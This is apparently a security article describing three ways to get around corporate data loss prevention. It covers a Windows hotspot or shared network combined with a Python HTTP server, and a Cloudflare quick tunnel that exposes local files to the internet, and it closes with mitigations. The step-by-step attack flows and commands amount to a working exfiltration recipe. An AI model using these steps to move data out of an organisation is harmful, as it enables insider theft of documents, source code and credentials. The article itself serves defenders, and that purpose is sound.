Bypassing Corporate DLP through Network File Sharing & Tunneling

Organizations invest heavily in Data Loss Prevention (DLP) solutions to prevent sensitive data from leaving corporate environments. These controls typically focus on monitoring common exfiltration channels like:

• Email attachments
• Web uploads
• Cloud storage services
• USB devices
• Bluetooth transfers

During an internal security assessment, it was discovered that less obvious network-based channels could bypass traditional DLP controls. These techniques don’t require malware, high privileges, or advanced tools. Instead, they utilize legitimate operating system features and common networking utilities.

This article discusses three practical methods through which sensitive data can be transferred from a corporate device to an external device without triggering traditional DLP alerts.

Disclaimer: The techniques discussed in this article are for defensive purposes to help organizations identify security gaps and strengthen their data protection controls.

1. Bypass Using Windows Mobile Hotspot (Network Sharing)

Modern versions of Windows include a feature called Mobile Hotspot, which allows a laptop to share its internet connection with nearby devices.

When enabled, the laptop act as a wireless access point.

Attack Flow

1. The employee connects their corporate laptop to the corporate network.
2. The employee enables Mobile Hotspot in Windows.
3. A personal laptop or smartphone connects to the newly created Wi-Fi hotspot.
4. A HTTP server is started on the corporate laptop.
5. The personal device downloads files directly from the corporate laptop.

Example commands to start a simple HTTP server, there are many tools available to create local servers instead of just Python.

python -m http.server 8000

Files in the current directory become accessible at:

http://<corporate-laptop-ip>:8000

Why This Bypasses DLP

The transfer occurs entirely within the corporate laptop’s hosted hotspot subnet and never traverses the corporate network infrastructure. Network-based monitoring tools, proxies, and IDS/IPS systems sitting on the corporate network see no trace of this traffic. The only layer with any visibility is the endpoint DLP agent running on the corporate laptop itself and since the transfer uses a plain HTTP server rather than a monitored channel like a browser upload or email, it does not match standard DLP policy triggers.

2. Bypass Using a Shared Local Network (Home or Public Wi-Fi)

Another common scenario is when the mobile hotspot feature is disabled on the corporate laptop, then connect corporate laptop and personal laptop in a same local network like:

• home Wi-Fi
• hotel networks
• coffee shop networks
• personal mobile hotspots

In this scenario, devices often share the same subnet, meaning they can communicate directly with each other.

Attack Flow

1. Corporate laptop and personal device connect to the same network.
2. The user launches a local HTTP server on the corporate laptop.
3. The personal device accesses the corporate laptop’s local IP address.
4. Files are downloaded directly.

Example:

Corporate Laptop IP: 192.168.1.25
Server: python -m http.server 8000

Personal device opens:

http://192.168.1.25:8000

Why This Works

Most DLP solutions monitor outbound internet traffic, but peer-to-peer local network transfers are often ignored.

This means sensitive files can be transferred without leaving the local network perimeter.

3. Internet-Based Exfiltration Using Tunneling (Cloudflare Tunnel)

Even if local network access is restricted, attackers may still exfiltrate data using secure tunneling services that expose a local service to the internet.

One popular method uses **Cloudflare Tunnel**.

Cloudflare Tunnel allows a local service running on a laptop to be exposed to the internet through a temporary public URL.

Example Command

cloudflared tunnel --url http://localhost:8000

This command creates a publicly accessible URL such as:

https://random-subdomain.trycloudflare.com

Anyone with the URL can access the hosted files from anywhere on the internet.

Attack Flow

1. Start a local HTTP server on the corporate laptop.
2. Launch a Cloudflare tunnel exposing that server.
3. Share the generated public URL with an external device.
4. Download files remotely over the internet.

Why This Bypasses Traditional Controls

The traffic appears as normal encrypted HTTPS communication with Cloudflare infrastructure.

From a network perspective, it looks like legitimate outbound web traffic.

Risk

These three methods allows:

• transfer of internal documents
• source code
• credentials
• configuration files

without generating any DLP alert.

Recommended Mitigations

Organizations should adopt a layered defense strategy to reduce the risk of these bypass techniques.

1. Enforce Host-Based Firewall Policies

Block unsolicited inbound connections on corporate laptops using centrally managed firewall rules.

2. Disable Internet Connection Sharing and Mobile Hotspot

Prevent laptops from acting as network gateways.

3. Implement Application Control

Restrict unauthorized tools such as:

• tunneling clients
• scripting interpreters
• unknown executables

4. Deploy Endpoint Detection and Response (EDR)

Detect suspicious behavior such as:

• processes opening network listeners
• tunneling utilities
• unusual network activity

5. Strengthen DLP Policies

Configure DLP agents to monitor:

• unusual file access patterns
• bulk file reads